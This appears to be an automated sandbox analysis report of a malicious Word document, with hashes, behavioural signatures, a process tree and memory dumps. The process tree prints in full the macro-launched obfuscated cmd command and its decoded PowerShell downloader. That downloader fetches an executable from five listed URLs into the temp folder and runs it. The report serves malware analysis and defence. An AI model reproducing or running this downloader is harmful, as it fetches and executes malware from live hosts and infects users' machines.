Analysis

  • max time kernel
    37s
  • max time network
    41s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    22-11-2024 01:22

General

  • Target

    13dd59cf080fa9981fb9a28c390d3bbdaca4e672d656cc2f6993917ecd323d98.doc

  • Size

    128KB

  • MD5

    aac6f90d4b8c995ea356da61a64c7e73

  • SHA1

    070252aee72f04f1db312a37a4a750ed9863833f

  • SHA256

    13dd59cf080fa9981fb9a28c390d3bbdaca4e672d656cc2f6993917ecd323d98

  • SHA512

    337ae4e3b73674ef4221bbca003168203a487d58b6a79d81b424bb0938c081678491f86575904e6b723f26d176266c843e8704dc2188e74fba622e15aa133bc6

  • SSDEEP

    1536:l81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadiy03224HEXt1:l8GhDS0o9zTGOZD6EbzCdimu

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\13dd59cf080fa9981fb9a28c390d3bbdaca4e672d656cc2f6993917ecd323d98.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2580
    • \??\c:\windows\SysWOW64\cmd.exe
      c:\ZmXwNQfXwVVO\iMYHzLGt\zBkTArka\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set wO6i=;'Mwo'=wwv$}}{hctac}};kaerb;'zUj'=ptt$;nQu$ metI-ekovnI{ )00008 eg- htgnel.)nQu$ metI-teG(( fI;'pab'=urB$;)nQu$ ,pMC$(eliFdaolnwoD.fCm${yrt{)sBk$ ni pMC$(hcaerof;'exe.'+LRT$+'\'+pmet:vne$=nQu$;'atr'=ldh$;'664' = LRT$;'mhI'=BEN$;)'@'(tilpS.'2aHLZu6J/moc.tnayrbatinauoyevigrofi//:ptth@PV7AYlk9Hx/ur.84otvatakorp//:ptth@Tn8LXMyfM/moc.ppabojsupo//:ptth@HD8RZfE/moc.tropsruotneve//:ptth@xegIS17TTs/moc.dniretseuq.www//:ptth'=sBk$;tneilCbeW.teN tcejbo-wen=fCm$;'rnU'=YzO$&&for /L %D in (464,-1,0)do set Vwf=!Vwf!!wO6i:~%D,1!&&if %D leq 0 echo !Vwf:*Vwf!=! |powershell -"
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\SysWOW64\cmd.exe
        CmD /V:O/C"set wO6i=;'Mwo'=wwv$}}{hctac}};kaerb;'zUj'=ptt$;nQu$ metI-ekovnI{ )00008 eg- htgnel.)nQu$ metI-teG(( fI;'pab'=urB$;)nQu$ ,pMC$(eliFdaolnwoD.fCm${yrt{)sBk$ ni pMC$(hcaerof;'exe.'+LRT$+'\'+pmet:vne$=nQu$;'atr'=ldh$;'664' = LRT$;'mhI'=BEN$;)'@'(tilpS.'2aHLZu6J/moc.tnayrbatinauoyevigrofi//:ptth@PV7AYlk9Hx/ur.84otvatakorp//:ptth@Tn8LXMyfM/moc.ppabojsupo//:ptth@HD8RZfE/moc.tropsruotneve//:ptth@xegIS17TTs/moc.dniretseuq.www//:ptth'=sBk$;tneilCbeW.teN tcejbo-wen=fCm$;'rnU'=YzO$&&for /L %D in (464,-1,0)do set Vwf=!Vwf!!wO6i:~%D,1!&&if %D leq 0 echo !Vwf:*Vwf!=! |powershell -"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1600
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo $OzY='Unr';$mCf=new-object Net.WebClient;$kBs='http://www.questerind.com/sTT71SIgex@http://eventoursport.com/EfZR8DH@http://opusjobapp.com/MfyMXL8nT@http://prokatavto48.ru/xH9klYA7VP@http://iforgiveyouanitabryant.com/J6uZLHa2'.Split('@');$NEB='Ihm';$TRL = '466';$hdl='rta';$uQn=$env:temp+'\'+$TRL+'.exe';foreach($CMp in $kBs){try{$mCf.DownloadFile($CMp, $uQn);$Bru='bap';If ((Get-Item $uQn).length -ge 80000) {Invoke-Item $uQn;$ttp='jUz';break;}}catch{}}$vww='owM'; "
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2852
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2704
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2740

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2580-0-0x000000002FC31000-0x000000002FC32000-memory.dmp

      Filesize

      4KB

    • memory/2580-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2580-2-0x0000000073FDD000-0x0000000073FE8000-memory.dmp

      Filesize

      44KB

    • memory/2580-4-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2580-5-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2580-6-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2580-11-0x0000000073FDD000-0x0000000073FE8000-memory.dmp

      Filesize

      44KB

    • memory/2580-12-0x0000000000650000-0x0000000000750000-memory.dmp

      Filesize

      1024KB

    • memory/2704-10-0x00000000050C0000-0x00000000050D2000-memory.dmp

      Filesize

      72KB